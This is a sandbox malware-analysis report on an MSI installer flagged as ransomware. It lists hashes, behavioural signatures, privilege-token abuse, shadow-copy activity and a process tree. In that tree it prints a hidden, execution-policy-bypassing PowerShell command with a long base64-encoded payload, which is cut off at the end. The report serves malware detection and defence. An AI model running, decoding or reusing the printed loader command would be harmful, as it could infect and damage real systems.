0d773d5b3d2fac7f53d22a6cb558eb638f62b77c12d8c5e5f29e189750de6733

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 22:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d773d5b3d2fac7f.msi
Size 3.3MB
Sample261022-2kt6zsys9m
SHA256 0d773d5b3d2fac7f53d22a6cb558eb638f62b77c12d8c5e5f29e189750de6733
MD5 113f5dce7f83148cf18f3d447397b18e
SHA1 af4a03053eea8e806770b907060bdb6339987403
SHA512 8cf0751869ff5df4d2b64f702adec4b63e84e4d8e3f86d131aeb92f1f90f72bcf36b72a45d66f3e112c336fe9443912426a591d36424618d60541f6fe07a86f0
SSDEEP 49152:WHX9WA8SZzzXKfoVtnejQq3wOf1sntZCMAT:W3QA8IzDKqUjMK10u
TLSH
T1FEF54B00D499C778E7AF03324EC209289A463B5DD59FD69DFAB525BB808C6FF746812C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5892	powershell.exe
3	5892	powershell.exe
4	5892	powershell.exe
5	5892	powershell.exe
6	5892	powershell.exe
7	5892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5892	powershell.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
2	ipinfo.io

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF155D35AD3FDD0B88.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{08A4D795-DA65-43AA-A72E-A120D0428013}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD70C61464921F887.TMP	msiexec.exe
File created	C:\Windows\Installer\e597c1e.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2A946C065707BFC1.TMP	msiexec.exe
File created	C:\Windows\Installer\e597c1c.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI80AF.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF84720463D3B21B63.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e597c1c.msi	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
572	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b02efcd1ac1ce3290000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801b02efcd10000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101b02efcd1000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3b02efcd100000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6b02efcd100000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4804	msiexec.exe
4804	msiexec.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	572	msiexec.exe
Token: SeSecurityPrivilege	4804	msiexec.exe
Token: SeCreateTokenPrivilege	572	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	572	msiexec.exe
Token: SeLockMemoryPrivilege	572	msiexec.exe
Token: SeIncreaseQuotaPrivilege	572	msiexec.exe
Token: SeMachineAccountPrivilege	572	msiexec.exe
Token: SeTcbPrivilege	572	msiexec.exe
Token: SeSecurityPrivilege	572	msiexec.exe
Token: SeTakeOwnershipPrivilege	572	msiexec.exe
Token: SeLoadDriverPrivilege	572	msiexec.exe
Token: SeSystemProfilePrivilege	572	msiexec.exe
Token: SeSystemtimePrivilege	572	msiexec.exe
Token: SeProfSingleProcessPrivilege	572	msiexec.exe
Token: SeIncBasePriorityPrivilege	572	msiexec.exe
Token: SeCreatePagefilePrivilege	572	msiexec.exe
Token: SeCreatePermanentPrivilege	572	msiexec.exe
Token: SeBackupPrivilege	572	msiexec.exe
Token: SeRestorePrivilege	572	msiexec.exe
Token: SeShutdownPrivilege	572	msiexec.exe
Token: SeDebugPrivilege	572	msiexec.exe
Token: SeAuditPrivilege	572	msiexec.exe
Token: SeSystemEnvironmentPrivilege	572	msiexec.exe
Token: SeChangeNotifyPrivilege	572	msiexec.exe
Token: SeRemoteShutdownPrivilege	572	msiexec.exe
Token: SeUndockPrivilege	572	msiexec.exe
Token: SeSyncAgentPrivilege	572	msiexec.exe
Token: SeEnableDelegationPrivilege	572	msiexec.exe
Token: SeManageVolumePrivilege	572	msiexec.exe
Token: SeImpersonatePrivilege	572	msiexec.exe
Token: SeCreateGlobalPrivilege	572	msiexec.exe
Token: SeBackupPrivilege	2748	vssvc.exe
Token: SeRestorePrivilege	2748	vssvc.exe
Token: SeAuditPrivilege	2748	vssvc.exe
Token: SeBackupPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe
Token: SeTakeOwnershipPrivilege	4804	msiexec.exe
Token: SeRestorePrivilege	4804	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
572	msiexec.exe
572	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
572	msiexec.exe
4804	msiexec.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 2580	4804	msiexec.exe	94
PID 4804 wrote to memory of 5892	4804	msiexec.exe	96
PID 5892 wrote to memory of 4104	5892	powershell.exe	99
PID 4104 wrote to memory of 2500	4104	csc.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0d773d5b3d2fac7f.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:572

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2580
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:nlVSV1OVGyfA='C:\Users\Admin\AppData\Local\Temp\0d773d5b3d2fac7f.msi';$ZPvzA_=[Convert]::FromBase64String('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CUIJCmUKC2sLDGEMDU0NDi4OD10PEDIQETMREnQSE24TFGkUFXUVFlsWFywXGF0YGTIZGjMaG3QbHG4cHWkdHnUeH1sfICggIUAhIl0iI10jJFskJWUlJnAmJ3knKHQoKVspKigqKyArLCksLV0tLjIuLzMvMHQwMW4xMmkyM3UzNFs0NSg1NiA2Nyc3OGw4OWw5OmQ6Oy47PGk8PXM9Pm0+Pyc/QCBAQSdBQmhCQ2NDRHRERWVFRkZGR3dHSGVISWlJSlZKS2lLTHNMTU1NTidOTyBPUDJQUTJRUjhSUzVTVDhUVTlVVklWV1BXWDtYWTJZWjJaWzhbXDVcXThdXjleX3VfYGFgYSRhYiBiYyljZClkZV1lZjJmZzNnaHRoaW5pamlqa3VrbFtsbSxtbl1ubzJvcDNwcXRxcm5yc2lzdHV0dVt1dih2d0B3eF14eV15elt6e2V7fHB8fXl9fnR+f1t/gCiAgSCBgimCg12DhDKEhTOFhnSGh26HiGmIiXWJiluKiyiLjCCMjSeNjmyOj2yPkGSQkS6RkmmSk3OTlG2UlSeVliCWlyeXmGWYmXSZmnWam2ObnGWcnXidnkWen3efoGWgoWmholaio2mjpHOkpU2lpiempyCnqDKoqTKpqjiqqzWrrDisrTmtrkmur1CvsDuwsTKxsjKysziztDW0tTi1tjm2t263uHW4uSS5uiC6uym7vCm8vSm9vii+v2W/wHDAwXnBwlTCw2bDxGXExVLFxnnGx0LHyGXIyWvJymHKy03LzC7MzV3NzjLOzzPP0HTQ0W7R0mnS03XT1FvU1SzV1l3W12fX2G7Y2WnZ2nLa23Tb3HPc3Vvd3ize313f4DLg4TPh4nTi427j5Gnk5XXl5lvm5yjn6EDo6V3p6l3q61vr7GXs7XDt7nnu73Tv8Fvw8Sjx8iDy8ynz9F309TL19jP293T3+G74+Wn5+nX6+1v7/Cj8/SD9/if+/2z/AGwAAWQBAi4CA2kDBHMEBW0FBicGByAHCCcICXcJCmUKC2kLDFYMDW4NDmUOD3APEE8QEWUREnMSE2ETFGIUFWEVFnQWF2EXGEQYGWkZGnMaG00bHCccHSAdHjIeHzIfIDggITUhIjgiIzkjJEkkJVAlJjsmJzInKDIoKTgpKjUqKzgrLDksLW4tLnUuLyQvMCAwMSkxMikyMykzNCg0NWU1NnA2N3k3OFQ4OWY5OmU6O1I7PHk8PUI9PmU+P2s/QGFAQU1BQi5CQ11DRDJERTNFRnRGR25HSGlISXVJSltKSyxLTF1MTXJNTnROT1BPUHRQUW5RUklSU1tTVCxUVV1VVmdWV25XWGlYWXJZWnRaW3NbXFtcXShdXkBeX11fYF1gYVthYmViY3BjZHlkZXRlZltmZyhnaCBoaSlpal1qazJrbDNsbXRtbm5ub2lvcHVwcVtxcihycyBzdCd0dWx1dmx2d2R3eC54eWl5enN6e217fCd8fSB9fid+f2V/gHOAgWGBgmKCg2GDhHSEhWGFhkSGh26HiGWIiXCJik+Ki2mLjHOMjU2NjieOjyCPkDKQkTKRkjiSkzWTlDiUlTmVlkmWl1CXmDuYmTKZmjKamzibnDWcnTidnjmen3OfoGGgoSShoiCioymjpCmkpV2lpmemp26nqGmoqXKpqnSqq3OrrFusrSytrl2ur3KvsHSwsVCxsnSys26zt